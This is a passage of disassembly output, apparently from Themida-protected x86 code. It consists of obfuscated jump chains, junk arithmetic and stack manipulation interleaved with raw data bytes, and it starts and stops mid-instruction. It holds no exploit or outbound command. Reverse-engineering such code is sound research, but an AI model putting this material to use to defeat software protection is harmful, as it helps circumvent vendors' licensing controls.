dword ptr [esp] pop ebx jmp loc_55B6A1 ; --------------------------------------------------------------------------- db 0FFh dd 669D1C77h, 241CD259h, 0BE76E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556DC2: ; CODE XREF: Themida_:00566BF5j mov ebx, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_55529F ; --------------------------------------------------------------------------- loc_556DD7: ; CODE XREF: Themida_:0055CCC1j push dword ptr [esp] jmp loc_5578CB ; --------------------------------------------------------------------------- db 0FFh a4Swz db '4$éwz',0 dw 8900h dd 0A2E951E3h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556DEF: ; CODE XREF: Themida_:0055C98Cj add ebx, 4 push 19CBh mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] jmp loc_55CD0D ; --------------------------------------------------------------------------- loc_556E06: ; CODE XREF: Themida_:005576B2j push dword ptr [esp] pop ebx push 6A40h mov [esp], edx jmp loc_566EED ; --------------------------------------------------------------------------- aLFp db '‹$$f',0 db 0E9h, 16h, 0BEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_556E22: ; CODE XREF: Themida_:0055C0A8j mov [esp], edx push esp jmp loc_555672 ; --------------------------------------------------------------------------- loc_556E2B: ; CODE XREF: Themida_:00565557j add esp, 4 add esp, 4 jmp loc_554E59 ; --------------------------------------------------------------------------- aHU db '\hÃu',0 dw 8900h dd 0FCE92404h, 0FFFFBEh, 0D7C480CCh, 7FE0E9h db 0 ; --------------------------------------------------------------------------- loc_556E51: ; CODE XREF: Themida_:005594D6j pop ebx not eax jmp loc_56659E ; --------------------------------------------------------------------------- db 5Ah, 88h, 0FCh dd 8BE3005Bh, 0C4812404h, 4, 5166C328h, 0C1800CB1h, 0BEBE9D0h dd 0E6810001h, 48393C82h, 2E7E681h, 0C6810253h, 72CF1B5Ch dd 8101EE83h, 0A4EB16C6h, 0C1C381A1h, 29262301h, 3E4FE9F3h dd 1590000h, 0EC835BDAh, 241C8904h, 1ADE68h, 24048900h dd 7DB1BD55h, 0C58111FFh, 6C5A1E7Ch, 0A79E9h, 8BC60100h dd 0C4812404h, 4, 2C681h, 34870000h, 2AE6E924h, 0EA010000h dd 102BB850h, 0BB531612h, 34291F10h, 225FE9h db 0 ; --------------------------------------------------------------------------- loc_556EED: ; CODE XREF: Themida_:00564205j mov [edi+38h], ch pop ecx mov ebx, [esp] sub esp, 4 jmp loc_56168F ; --------------------------------------------------------------------------- db 51h dd 63676AB9h, 0CBD5E97Bh, 0F1B9FFFFh, 412A9D33h, 157E181h dd 0E9414F79h, 0FFFFC15Fh, 242C875Fh, 2404815Ch, 1031154Ch dd 81240401h, 154C242Ch, 4811031h, 830F6624h, 242C811Eh dd 0EE057ADh, 738CE9h, 24048B00h, 0CE8EE9h, 3EAC100h, 0E950D2F7h dd 1324h ; --------------------------------------------------------------------------- loc_556F58: ; CODE XREF: Themida_:0055F28Fj mov edi, 4 add ebx, edi pop edi add ebx, 4 xchg ebx, [esp] mov esp, [esp] shl ebx, 4 shl ebx, 7 push edx push 46C526D3h pop edx push ebp mov ebp, 3757D69h and ebp, 33DB488Ah add ebp, 64E3CF21h sub edx, ebp pop ebp add edx, 955BF056h xor ebx, edx pop edx push ebx jmp loc_55BD5C ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 33240431h, 0FE5C2404h, 0E99C240Ch, 0FFFFBC88h, 0E959CD29h dd 0D0FFh, 433368h, 240C8900h, 785FC3B9h, 81D1F73Ah, 4842AAC1h dd 62CAE964h db 2 dup(0) ; --------------------------------------------------------------------------- loc_556FD2: ; CODE XREF: Themida_:0055942Fj push ecx mov ecx, 4 add [esp+4], ecx jmp loc_56744C ; --------------------------------------------------------------------------- aZ0Fyhz db '‡,$\0ÈfYh‡(',0 align 2 dw 15E9h dd 500000F0h, 415668h, 89F6E900h, 0C2810000h, 6D5B2BE6h dd 5590EA81h, 875E13C9h, 248B2414h, 4216624h, 31E99C24h db 11h, 1, 0 ; --------------------------------------------------------------------------- loc_55701B: ; CODE XREF: Themida_:005580A8j sub ebp, edx pop edx sub ebp, 6E2348C3h add ebp, esi add ebp, 6E2348C3h sub esp, 4 mov [esp], ecx jmp loc_55FAC7 ; --------------------------------------------------------------------------- loc_55703A: ; CODE XREF: Themida_:00558104j mov bl, 3Ch jmp loc_555BFF ; --------------------------------------------------------------------------- loc_557041: ; CODE XREF: Themida_:005679DAj push esp pop ecx add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] add esp, 4 push 4152h jmp loc_553716 ; --------------------------------------------------------------------------- loc_557062: ; CODE XREF: Themida_:005659EFj mov eax, 0FFFFFFFFh add edx, eax pop eax neg edx add edx, 9F26A79h add eax, edx pop edx jmp loc_55D13C ; --------------------------------------------------------------------------- dw 34FFh dd 2434FF24h, 4C48158h, 0E9000000h, 24B6h, 0B252505Ch dd 0B2B4B4h, 0D7E95AD4h, 80000E9h, 0EF8059CFh, 0FED7F642h dd 0A7E951C7h, 8300001Dh, 0CAE904ECh, 0BB0000D5h, 4, 0FC23E9h db 0 ; --------------------------------------------------------------------------- loc_5570BD: ; CODE XREF: Themida_:00563E10j sub ecx, 23BD5266h add ecx, edi add ecx, 23BD5266h pop edi add ecx, 0FFFFFFFFh jmp loc_5575DD ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 0BB95E900h, 0C801FFFFh, 0C22CE9h db 0 ; --------------------------------------------------------------------------- loc_5570E9: ; CODE XREF: Themida_:0055F16Fj xor edx, 54570784h not edx neg edx and edx, 65FE2948h jmp loc_563BFF ; --------------------------------------------------------------------------- loc_5570FE: ; CODE XREF: Themida_:0055B7AEj push ebp mov ebp, 658706D6h jmp loc_55677E ; --------------------------------------------------------------------------- aBPSM db 'Ë·\P{é',9,'m',0 align 4 dd 3E1168h, 0CC5FE900h, 0DF31FFFFh, 56241C8Bh, 0C681E689h dd 4, 3AB0E9h, 0E9C10100h, 2E0Fh, 0C2814258h, 0E8406A6h dd 0C6E9D2F7h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_557147: ; CODE XREF: Themida_:0055EEA4j pop edx push dword ptr [esp] pop edi add esp, 4 not edi xchg edi, edx xchg edx, [esp] push dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 add esp, 4 push eax push dword ptr [esp+4] pop eax jmp loc_55DA66 ; --------------------------------------------------------------------------- dd 5686659h, 489662Fh, 7A67E924h, 66580000h, 3E3DC281h dd 6E2C166h, 46E28166h, 0C283662Ah, 66556601h, 66F7AA68h dd 0EA29665Dh, 0FFC965E9h, 5D001FFh, 6E987106h, 0E289525Ah dd 4C281h, 32E90000h, 54000083h, 8324048Bh, 40504C4h, 81000000h dd 4ECh, 0F4A6E900h, 1C8BFFFFh, 95DAE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5571DA: ; CODE XREF: Themida_:0056432Aj xchg ebp, [esp] mov esp, [esp] bt [esp], eax pushf jmp loc_552C38 ; --------------------------------------------------------------------------- loc_5571EA: ; CODE XREF: Themida_:00567909j pop ebp push edi mov edi, 4 add ebp, edi jmp loc_562400 ; --------------------------------------------------------------------------- dd 4B951h, 0CB010000h, 4EB8359h, 0E9241C87h, 0CD93h ; --------------------------------------------------------------------------- loc_55720C: ; CODE XREF: Themida_:00563CC1j push esi mov esi, 683B0040h neg esi shr esi, 6 add esi, 14045F67h add ecx, esi pop esi push ebp push ecx mov ecx, 7AA83AD4h shl ecx, 1 add ecx, 72C01D7Bh sub ecx, 24664B8Ah mov ebp, ecx jmp loc_566973 ; --------------------------------------------------------------------------- loc_55723C: ; CODE XREF: Themida_:00555650j or eax, eax jz loc_565F13 sub esp, 4 mov [esp], ebx push esi push ebx jmp loc_55C609 ; --------------------------------------------------------------------------- dd 0FBF4C181h, 4EE96E36h, 8900002Fh, 4BB241Ch, 0E9000000h dd 0E647h, 1393C581h, 0F0E93CEDh, 0C0FFFFEFh, 0EB8007E3h dd 8BDA88ABh, 0C483241Ch, 40F26804h, 0C890000h, 0E99FB524h dd 101E7h, 83242C89h, 248904ECh, 39EFE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5572A2: ; CODE XREF: Themida_:00566E5Aj xor edi, [esp] xor [esp], edi jmp loc_55C8FB ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C48359h, 5002C683h, 24048B54h, 4C481h, 0BE560000h dd 4, 835EF001h, 48704E8h, 34895C24h, 2474FF24h, 0F1D9E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5572DE: ; CODE XREF: Themida_:005531D9j pop esp push ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax mov eax, 27693B2Bh sub eax, 235312CFh shl eax, 8 jmp loc_5533DA ; --------------------------------------------------------------------------- loc_557308: ; CODE XREF: Themida_:0056341Aj xchg edi, [esp] jmp loc_559F84 ; --------------------------------------------------------------------------- dd 4BEh, 0CC18100h, 1601C49h, 76F2E9F1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557322: ; CODE XREF: Themida_:005653EBj push ebx mov bl, 64h mov al, bl pop ebx sub bl, al mov ax, [esp] push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_566D3E ; --------------------------------------------------------------------------- dw 0B151h dd 2E9C0A6h, 8001E980h, 0D9F6C2F1h, 0E957E980h, 0FFFFEFD8h ; --------------------------------------------------------------------------- loc_557358: ; CODE XREF: Themida_:005591C1j push dword ptr [esp] jmp loc_55545E ; --------------------------------------------------------------------------- dd 0BBEF815Ah, 1A25F6Ah, 243C8BFAh, 4C481h, 0C2830000h dd 24148704h, 45B9515Ch, 815FF66Fh, 0C92C19E1h, 5AE95504h dd 0FF0000BDh, 0FF042474h, 0E95D2434h, 5F6Eh ; --------------------------------------------------------------------------- loc_557398: ; CODE XREF: Themida_:00553EC0j pop ecx neg ecx xor ecx, 0D7B8FD5Dh mov eax, ecx pop ecx add ebp, eax pop eax sub ebp, 4 jmp loc_56242F ; --------------------------------------------------------------------------- dw 0E1B0h dd 52E9C630h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5573BB: ; CODE XREF: Themida_:00559B60j xor al, dl jmp loc_554FBC ; --------------------------------------------------------------------------- dw 0EA81h dd 58F33EA6h, 21ACE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5573CE: ; CODE XREF: Themida_:0055D630j mov dh, 7Dh add bl, 0F2h add bl, dh sub bl, 0F2h pop dx add bl, al jmp loc_565623 ; --------------------------------------------------------------------------- db 5Ch, 66h, 68h dd 8966240Dh, 0B753240Ch, 0E970B5D6h, 0FFFFC33Fh ; --------------------------------------------------------------------------- loc_5573F4: ; CODE XREF: Themida_:0055E0ADj mov eax, [esp] push eax jmp loc_5612DB ; --------------------------------------------------------------------------- loc_5573FD: ; CODE XREF: Themida_:00554F5Cj mov [esp], ecx mov ch, 3 xor ch, 1Dh shl ch, 7 sub ch, 0 add ch, 0FFh sub ch, 1 jmp loc_566A1F ; --------------------------------------------------------------------------- dw 0EEC1h dd 93E68105h, 0F7297077h, 1FEE81D6h, 29D808C1h, 44055EF0h dd 0E9593761h, 8628h ; --------------------------------------------------------------------------- loc_557434: ; CODE XREF: Themida_:005679A0j mov [esp], esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_56021A ; --------------------------------------------------------------------------- db 81h, 0C1h, 0DCh dd 2DE57ED3h, 3D8A5107h, 3C7AC005h, 2DC80162h, 623C7AC0h dd 8A510705h, 9579E93Dh, 41410000h, 0FFBD77E9h, 64C781FFh dd 1736D13h, 64EF81D7h, 81736D13h, 0BC09F5EFh, 24148B16h dd 170EE9h, 0E9018800h, 8FEAh, 0E9242C87h, 9614h ; --------------------------------------------------------------------------- loc_5574A0: ; CODE XREF: Themida_:00565AF8j add esp, 4 add edi, 4 push esi mov esi, 4 jmp loc_566432 ; --------------------------------------------------------------------------- loc_5574B7: ; CODE XREF: Themida_:0055AC8Cj push ebp mov ebp, 75895798h mov edx, ebp jmp loc_567363 ; --------------------------------------------------------------------------- loc_5574C4: ; CODE XREF: Themida_:0055C43Dj pop ebx shr ebx, 2 or ebx, 1B2272EFh xor ebx, 27BC593Ch jmp loc_55BBF5 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 56000000h, 4BEh, 5EF12900h, 8735E9h, 24248B00h, 4BEB68h dd 242C8900h, 12A5BD66h, 0E56E9h, 0D0895000h, 5A58C689h dd 0B601E9h, 240C8700h, 489665Ch, 841B424h, 0ED7DE9E7h dd 0EF81FFFFh, 602E3A92h, 0FFEBF3E9h, 0EA814AFFh, 746C517Ah dd 8919E9h db 0 ; --------------------------------------------------------------------------- loc_557535: ; CODE XREF: Themida_:00567855j push dword ptr [esp+4] pop ebp jmp loc_560CBF ; --------------------------------------------------------------------------- loc_55753F: ; CODE XREF: Themida_:0055468Fj mov ebx, 5E7D6D01h mov edx, ebx pop ebx add eax, edx pop edx push 5A18h mov [esp], edx mov edx, esp add edx, 4 push 32CBh mov [esp], esi jmp loc_55BDA7 ; --------------------------------------------------------------------------- loc_557567: ; CODE XREF: Themida_:0055D64Fj mov [esp], ebx mov ebx, esp push eax mov eax, 4 jmp loc_5609A3 ; --------------------------------------------------------------------------- db 5Ah dd 0A404C800h, 32D468h, 240C8900h, 0F1809EB1h, 593FE9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55758E: ; CODE XREF: Themida_:00564181j pop edx add ebp, 11726E12h mov eax, ebp mov ebp, [esp] jmp loc_554D40 ; --------------------------------------------------------------------------- loc_55759F: ; CODE XREF: Themida_:005577DBj sub ecx, 42C3449h and eax, ecx pop ecx shr eax, 0Bh xor ecx, eax push 6960h jmp loc_55E0A7 ; --------------------------------------------------------------------------- db 1 dd 3EEE81EEh, 81574621h, 0FE4648C6h, 7E18E948h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5575CA: ; CODE XREF: Themida_:005575D8j pop ebp add edx, 6E3A21B0h jmp loc_55D860 ; --------------------------------------------------------------------------- loc_5575D6: ; CODE XREF: Themida_:00558ECAj add ebx, ebp jmp loc_5575CA ; --------------------------------------------------------------------------- loc_5575DD: ; CODE XREF: Themida_:005570CFj inc ecx jmp loc_55AC8B ; --------------------------------------------------------------------------- db 0C1h dd 0E0C104E0h, 947CE904h, 0C3880000h, 585BDE88h, 9B00E9h dd 40500h, 0E8E90000h, 8100000Bh, 0D6B53FE9h, 59CD21AFh dd 4EE9D5F7h db 0Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557613: ; CODE XREF: Themida_:005600CAj inc eax jmp loc_55B72D ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 7DBB241Ch, 290AA74Ah, 0C7895BD8h, 0FFB9C6E9h dd 14335DFFh, 24143124h, 5C241433h, 89242C89h, 0E9EA89C5h dd 13C7h ; --------------------------------------------------------------------------- loc_557648: ; CODE XREF: Themida_:0055997Fj mov ebx, esp add ebx, 4 jmp loc_55DBCA ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0E904C583h, 8EFh, 4C781h, 0FF570000h, 0FF042474h, 815F2434h dd 4C4h, 24048F00h, 8B3BE9h, 1AB85000h, 0E9763C6Fh, 0D504h dd 2FE9CB01h, 81000069h, 0C065B9E2h, 9BE28164h, 0E9764B03h dd 0F2F3h, 5C243C87h, 1137BD55h, 34E95DA9h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5576AF: ; CODE XREF: Themida_:00554948j pop edi xor eax, ebx jmp loc_556E06 ; --------------------------------------------------------------------------- loc_5576B7: ; CODE XREF: Themida_:00565D88j pop ebp add eax, 4 xchg eax, [esp] mov esp, [esp] shr ecx, 7 jmp loc_564E92 ; --------------------------------------------------------------------------- loc_5576CB: ; CODE XREF: Themida_:00557F4Aj add [esp+4], ebp jmp loc_56098B ; --------------------------------------------------------------------------- dd 33240431h, 0FF5C2404h, 41E92434h, 68FFFFC5h, 62542955h dd 0CD5EE9h, 40F58100h, 811D9357h, 6F3DB4E5h, 0B2ED8169h dd 81472728h, 69C613F5h, 5DEF01AAh, 0C7815D5Bh, 2, 31243C33h dd 3C33243Ch, 0A4E95C24h, 530000D2h, 96E9EB88h, 81000075h dd 4ECh, 240C8900h, 445568h, 0E0895000h, 48E9E9h, 241C2900h dd 4EB815Bh, 0E9B510E0h, 741Dh, 8F240C89h, 34FF2447h, 0C4835924h dd 68D23104h, 6EF5h, 54243489h, 0B8DFE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55776A: ; CODE XREF: Themida_:00565120j push edi mov edi, 2C953A1Fh jmp loc_5536BD ; --------------------------------------------------------------------------- db 31h, 0EEh, 5Dh dd 55EF189h, 14CB7988h, 882DC829h, 5914CB79h, 5C240487h dd 0E9241489h, 0A3DCh, 287FC381h, 7DE97EA9h, 4A00001Ah dd 0FFB9EA81h, 0EB81FDFFh, 312E536Ah, 0C381D301h, 312E536Ah dd 7BCD685Ah, 3C890000h, 98E0E924h, 0F65B0000h, 0F61124D0h dd 2CC0FED0h, 0ECED80F0h, 119EE9h db 0 ; --------------------------------------------------------------------------- loc_5577D5: ; CODE XREF: Themida_:0055A876j sub ecx, 1 jmp loc_55759F ; --------------------------------------------------------------------------- loc_5577E0: ; CODE XREF: Themida_:00563786j xor ebp, 0FEC3F8E9h add esi, ebp pop ebp shr esi, 6 jmp loc_56246B ; --------------------------------------------------------------------------- db 0B6h, 0EEh, 80h dd 885001EEh, 88D0F6F0h, 0CE8058C6h, 6E6C0F6h, 3265E9h dd 81E58900h, 4C5h, 4C58300h, 2474FF55h, 48F5D04h, 3F685C24h dd 89000072h, 4BF243Ch, 1000000h, 0BC5FE9F8h, 295A0000h dd 6B3405F0h, 34FF1AADh, 24348B24h, 0E904C483h, 0B7BEh dd 0F707E2C1h, 0EA814AD2h, 7731312Bh, 575AD101h, 4F5ECABFh dd 20E91Ch, 6F2D0000h, 547C11Dh, 8CB911BDh, 28E9C289h db 0DBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557873: ; CODE XREF: Themida_:00563824j pop esp add esp, 4 jmp loc_566DFD ; --------------------------------------------------------------------------- aTsij db 'TéiJ',0 align 2 dw 0CF81h dd 4CAC1AD6h, 0FA28E9h, 68E18900h, 783Dh, 0B8240489h, 336164EFh dd 708BBE56h, 0E68171BFh, 752A6EEDh, 4EDEF74Eh, 10356E9h dd 246C0100h, 5A1DE904h, 2C8B0000h, 4EC8324h, 89241C89h dd 0B1E955E3h db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5578CB: ; CODE XREF: Themida_:00556DDAj pop ecx add esp, 4 push 3EDCh jmp loc_552C5F ; --------------------------------------------------------------------------- dd 0D324248Bh, 0E99C2424h, 0FFFFB350h, 8324048Bh, 4FE904C4h dd 520000DCh, 0A76BA4BAh, 0ABE28149h, 0C1680305h, 0F28106EAh dd 0E251813h, 15B85042h, 0E923155Ah, 9DC9h ; --------------------------------------------------------------------------- loc_557914: ; CODE XREF: Themida_:00556673j push ebx not byte ptr [esp+1] pop ebx jmp loc_556AC3 ; --------------------------------------------------------------------------- db 89h dd 48B241Ch, 4C48324h, 4EC8357h, 0B3ABE9h, 4896600h, 0B2FEE924h dd 0CD81FFFFh, 15FA2610h, 0E5C1DDF7h, 6F58103h, 0E97DF46Ch dd 0DE47h, 8106E1C1h, 9A2A14C1h, 0E9CD89E6h, 78D8h, 4C481h dd 0C870000h, 24248B24h, 6203A5F3h, 0CA685538h, 5D521C48h dd 8302E5C1h, 2C8904ECh, 241CF724h, 8B2434FFh, 0C481242Ch dd 4, 4C481h, 0C5810000h, 48712328h, 657168h, 242C8900h dd 4EC81h, 4890000h, 2BE5624h, 0C176DF0Fh, 814606E6h, 2A8283C6h dd 5EF0895Ch, 4244429h, 8324048Bh, 428F04C4h, 8E95738h dd 58FFFFE1h, 5E3C15Eh, 0FFDA23E9h, 72E956FFh, 310000AEh dd 0C33240Ch, 0E9565C24h, 1FFDh, 66D6EE81h, 0EC816561h dd 4, 0BF243C89h, 9A00E922h, 3C8BFE29h, 3CD5E924h, 51420000h dd 0DE368h, 242C8900h, 0A16BD6BDh, 0FCCD812Ch, 0E95C9025h dd 0AC44h, 240C8B66h, 693C6852h, 8F540000h, 4812404h, 424h dd 0EC835A00h, 240C8904h, 2416E9h, 0FF565B00h, 8B042474h dd 0C4812434h, 4, 8B24048Fh, 0F662424h, 9C2404ABh, 0FFB1CFE9h dd 81E589FFh, 4C5h, 4ED8300h, 8B242C87h, 4892424h, 63BD5524h dd 0F7622559h, 81DDF7DDh, 0DE1EDCEDh, 6DB2E97Dh, 0E9810000h dd 0FFFFFFFFh, 899E981h, 1E90364h, 5DFFFFCFh, 0E4BEE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557AAA: ; CODE XREF: Themida_:0055543Dj push dword ptr [esp+4] pop edx jmp loc_5661FC ; --------------------------------------------------------------------------- dd 5B66712Ch, 0FFFABAE9h, 0D6F74EFFh, 0DEF74646h, 8309C681h dd 0F201C87Eh, 4C2815Eh, 87000000h, 0E95C2414h, 9007h dd 9F4428BDh, 81D5F71Bh, 0D54CE6EDh, 0C55AE97Ch, 5F68FFFFh dd 583E181Ah, 0E8C1D8F7h, 0FCB02D03h, 0C189183Ch, 246C8158h dd 0C4769204h, 244C0178h, 24448104h, 0C4769204h, 0EC24E978h dd 0C4810000h, 4, 5207E0C1h, 0C14F29BAh, 0B31FE90Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_557B2E: ; CODE XREF: Themida_:0055E815j xchg ebx, [esp] mov esp, [esp] jmp loc_55E773 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0F7000000h, 45C781D7h, 89424A03h, 2434FFF9h, 723AE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_557B52: ; CODE XREF: Themida_:00560A0Ej add ecx, edi push dword ptr [ecx] pop eax push dword ptr [esp] push dword ptr [esp] pop ecx push ebx mov ebx, esp jmp loc_561B0B ; --------------------------------------------------------------------------- dw 0FE01h dd 4B8505Fh, 29000000h, 348758C6h, 19E95C24h, 81FFFFF7h dd 4C6h, 0E67AE900h, 0D328FFFFh, 5A07EB80h, 0C380C328h dd 19B1519Ch, 0B353D9F6h, 63E9529Ch db 58h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557B9F: ; CODE XREF: Themida_:0056487Fj mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp inc edx add edx, 868AAA3Eh push ebp mov ebp, edx jmp loc_561B59 ; --------------------------------------------------------------------------- loc_557BC2: ; CODE XREF: Themida_:00553BB0j add esp, 4 push ebp jmp loc_55D9A1 ; --------------------------------------------------------------------------- loc_557BCB: ; CODE XREF: Themida_:0055D552j push edi mov edi, 375E7F62h shr edi, 6 push esi jmp loc_553E15 ; --------------------------------------------------------------------------- dw 0B353h dd 5EBC085h, 0ABC380h, 2623E9D8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557BEA: ; CODE XREF: Themida_:0056040Cj add ecx, edi push edi mov edi, 262169F6h add ecx, edi pop edi pop edi xor eax, ecx jmp loc_55FCAE ; --------------------------------------------------------------------------- loc_557BFD: ; CODE XREF: Themida_:00563511j sub ebx, esi jmp loc_557EB9 ; --------------------------------------------------------------------------- loc_557C04: ; CODE XREF: Themida_:00563202j jmp loc_552C38 ; --------------------------------------------------------------------------- loc_557C09: ; CODE XREF: Themida_:0055AB06j pop eax and eax, 53314B0Dh add eax, 0BCEEFEFDh mov esi, eax jmp loc_553BAD ; --------------------------------------------------------------------------- db 0BAh dd 21064769h, 61E9D389h, 8B00008Eh, 0C481242Ch, 4, 744F581h dd 0F5814A3Ah, 0DA22C728h, 0E95DEA89h, 5B84h, 9D1C77FFh dd 14D35966h, 0E5E99C24h, 5EFFFFAFh, 0C106EAC1h, 98E904EAh dd 510000A8h, 0EA0019B5h, 4984E9h, 83C6FE00h, 0C8904ECh dd 0F69AB524h, 6E5C0D5h, 0C0F0E580h, 526608EDh, 88EB8853h dd 5FE8E9DAh, 0E9810000h, 559AD7A8h, 0E959CD31h, 0DC60h ; --------------------------------------------------------------------------- loc_557C98: ; CODE XREF: Themida_:00561CF2j mov ebp, 7E3A7622h inc ebp or ebp, 4A40558Fh neg ebp jmp loc_56408D ; --------------------------------------------------------------------------- db 53h dd 0FFB102E9h, 0E9E189FFh, 0AB4Ah, 2404205Ch, 0AF76E99Ch dd 248BFFFFh, 70176824h, 14890000h, 4EC8124h, 89000000h dd 0C8682434h, 5E39E669h, 0EC81D6F7h, 4, 0B9240C89h, 0C6199737h dd 8959CE31h, 2434FFF2h, 0B521E9h, 2EF8100h, 8B74DD6Ch dd 1CE9242Ch, 5F0000CDh, 8324048Bh, 0EC3504C4h, 5A2B4A27h dd 0BD55D0F7h, 0DAEE2211h, 0E95DE801h, 150Ah, 81241C8Bh dd 4C4h, 4C48300h, 573FEF81h, 0C701603Bh, 573FC781h, 48B603Bh dd 4C48324h, 8702C783h, 248B243Ch, 0BE0F6624h, 0E1E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557D56: ; CODE XREF: Themida_:0055A943j sub eax, 5A235499h mov ecx, [esp] sub esp, 4 jmp loc_55B198 ; --------------------------------------------------------------------------- dw 13BEh dd 4E7CD602h, 485CB951h, 0D1F71B0Bh, 4F60E9h, 241C8900h dd 0EB80C2B3h, 56E3D046h, 0F7E9E689h, 5A0000E6h, 6B1368h dd 241C8900h, 7868E9h, 4EC8100h, 89000000h, 4832424h, 515D0424h dd 4B9h, 0D1ED8100h, 0E910A745h, 552Ch, 8324148Bh, 55804C4h dd 4, 0FFE17EE9h, 5EC581FFh, 0E96AD810h, 0FFFFDE32h, 0EC81E389h dd 4, 97D9E9h, 24148900h, 2BAh, 5AD50100h, 2CDDE9h, 24343300h dd 4FF665Ch, 39E99C24h, 81FFFFAEh, 4ECh, 24048900h, 88DA8852h dd 8BE95AD4h, 81FFFFD2h, 97787C3h, 240C8B2Ch, 4C481h, 0C3810000h dd 648E2B2Dh, 0FFB985E9h, 42DFFh, 8CE90000h db 15h, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push 4AE50D32h pop ecx shr ecx, 2 shr ecx, 1 push ecx not dword ptr [esp] pop ecx shr ecx, 2 shl ecx, 5 push esi jmp loc_564BCD ; --------------------------------------------------------------------------- loc_557E57: ; CODE XREF: Themida_:0056509Bj inc edx jmp loc_5639B8 ; --------------------------------------------------------------------------- db 80h, 0C5h, 0ECh dd 5724048Bh, 243C8B54h, 2578E9h, 80B4B200h, 0B45033CAh dd 66CCFE8Eh, 0F6E68852h, 66F488DEh, 80C4FE5Ah, 0C480B5F4h dd 38F480D9h, 0C9AAE9h, 4EC8100h, 89000000h, 0E068243Ch dd 0E94BCB21h, 0F581h ; --------------------------------------------------------------------------- loc_557EA4: ; CODE XREF: Themida_:0055C64Bj pop eax add esp, 4 push ebp mov ebp, esp add ebp, 4 jmp loc_564EF3 ; --------------------------------------------------------------------------- loc_557EB9: ; CODE XREF: Themida_:00557BFFj sub ebx, 4A396F66h jmp loc_561CDD ; --------------------------------------------------------------------------- aSs3y db 'Sé3y',0 align 2 dw 0D366h dd 0E99C2404h, 9198h, 4D66ED81h, 0ED8159B3h, 59A20EB1h dd 3AFEED81h, 0F75547A7h, 2C8B241Ch, 4C48124h, 81000000h dd 0D46BADF5h, 0D611E99Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557EFE: ; CODE XREF: Themida_:0055314Cj pop ebp inc ebp and ebp, 269D6280h add ebp, 7F1DA461h jmp loc_55A12C ; --------------------------------------------------------------------------- db 89h, 0F9h, 0E9h dd 37A1h, 0E95AD129h, 0FFFFF5EDh, 244C295Dh, 685B5904h dd 31A6h, 0B9240C89h, 33850DFAh, 0D3F4E981h, 0CB0123E9h dd 0E9240C8Bh, 0FFFFE9CBh ; --------------------------------------------------------------------------- loc_557F44: ; CODE XREF: Themida_:0055D73Dj push 5E257C2Fh pop ebp jmp loc_5576CB ; --------------------------------------------------------------------------- aZPg@swISZ db '‡,$\G@SW¿Ïi`#é\§',0 align 2 dw 34FFh dd 0EC815824h, 4, 54240489h, 40558h, 0B9510000h, 4, 98CBD55h dd 0E6E96A81h, 0FF0000C5h, 0C8B2434h, 4C48124h, 68000000h dd 28F5h, 1180E9h, 58C23100h, 55242C8Bh, 0EC815D54h, 4 dd 0B9240C89h, 4, 8359CD01h, 76E904C5h db 82h, 2 dup(0) ; --------------------------------------------------------------------------- loc_557FBF: ; CODE XREF: Themida_:005669BDj add ebp, 4 jmp loc_555BF7 ; --------------------------------------------------------------------------- db 50h dd 8134B4B0h, 0C188DC34h, 2CC18058h, 0FFE0A1E9h, 0B6E95BFFh dd 96000012h, 9714742Dh, 982A2D48h, 0C5090408h, 0DDF74558h dd 0EDC1D5F7h, 98ED8107h, 29F7E6ECh, 38685DE8h, 89000006h dd 0EC83242Ch, 4576E904h, 565D0000h, 3B769BBEh, 81DEF765h dd 9E081ACEh, 0BBC68158h, 2943FBA5h, 5DE95EF3h, 57FFFFF6h dd 4BFh, 8BFB0100h, 0C483243Ch, 4EC8104h, 89000000h, 79E9243Ch dd 52FFFFC9h, 88E18851h, 10C0E9CEh, 0E95F0000h, 0F43Bh ; --------------------------------------------------------------------------- loc_558058: ; CODE XREF: Themida_:005649B2j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp loc_55806A: ; CODE XREF: Themida_:00562739j sub esp, 4 mov [esp], ebx push dword ptr [esp] pop eax push 2793h mov [esp], ebp mov ebp, esp push esi mov esi, 24615793h add 